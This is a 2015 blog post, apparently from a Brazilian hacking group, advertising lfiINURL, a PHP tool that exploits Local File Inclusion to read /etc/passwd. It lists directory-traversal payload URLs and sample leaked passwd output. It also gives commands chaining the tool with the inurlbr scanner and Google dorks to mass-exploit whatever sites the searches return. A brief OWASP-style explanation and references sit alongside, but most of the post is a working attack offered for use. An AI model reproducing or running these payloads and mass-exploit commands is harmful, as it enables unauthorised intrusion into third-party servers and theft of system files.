domingo, 5 de julho de 2015

Tool lfiINURL - exploring Local File Inclusion

lfiINURL
Tool Description

The script runs tests searching for the directory that contains the password file server / directory traversal Exemple:
Tool Description  The script runs tests searching for the directory that contains the password file server / directory traversal Exemple:

http://target.br/file.php?open=/etc/passwd
http://target.br/file.php?open=../etc/passwd
http://target.br/file.php?open=../../etc/passwd
http://target.br/file.php?open=../../../etc/passwd
http://target.br/file.php?open=../../../../etc/passwd

AUTOR:        googleINURL
EMAIL:        inurlbr@gmail.com
Blog:         http://blog.inurl.com.br
Twitter:      https://twitter.com/googleinurl
Fanpage:      https://fb.com/InurlBrasil
Pastebin      http://pastebin.com/u/Googleinurl
GIT:          https://github.com/googleinurl
PSS:          http://packetstormsecurity.com/user/googleinurl
YOUTUBE:      http://youtube.com/c/INURLBrasil
PLUS:         http://google.com/+INURLBrasil

Vulnerability Description

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts,we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

In successful cases If the above mentioned conditions are met, an attacker would see something like the following:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

Download tool lfiINURL
https://github.com/googleinurl/lfiINURL

COMMAND EXPLOIT --help

   -t : SET TARGET.
   -c : COUNT DIR.
        ex: -c   3 = /etc/passwd, ../etc/passwd, ../../etc/passwd ...
   Execute:
                 php lfiINURL.php -t target.br/index.file?= -c 50

Demonstration execution
Demonstration execution

USE SCANNER INURLBR MASS EXPLOIT COMMAND EXEMPLE
Download scanner inurlbr 1.0
https://github.com/googleinurl/SCANNER-INURLBR

inurlbr.php --dork 'br+index.p=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&index.p=" && php lfiINURL.php -t $URL -c 10'

inurlbr.php --dork 'include=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&include=" && php lfiINURL.php -t $URL -c 10'

inurlbr.php --dork 'cn+page=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&page=" && php lfiINURL.php -t $URL -c 10'

inurlbr.php --dork 'cn+page=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&page=" && php lfiINURL.php -t $URL -c 10'

# OBS USE UNIX

Demonstration execution xpl + inurlbr
Demonstration execution xpl + inurlbr


References
[1] https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
[2] http://www.wikipedia.org/wiki/Local_File_Inclusion
[3] https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo

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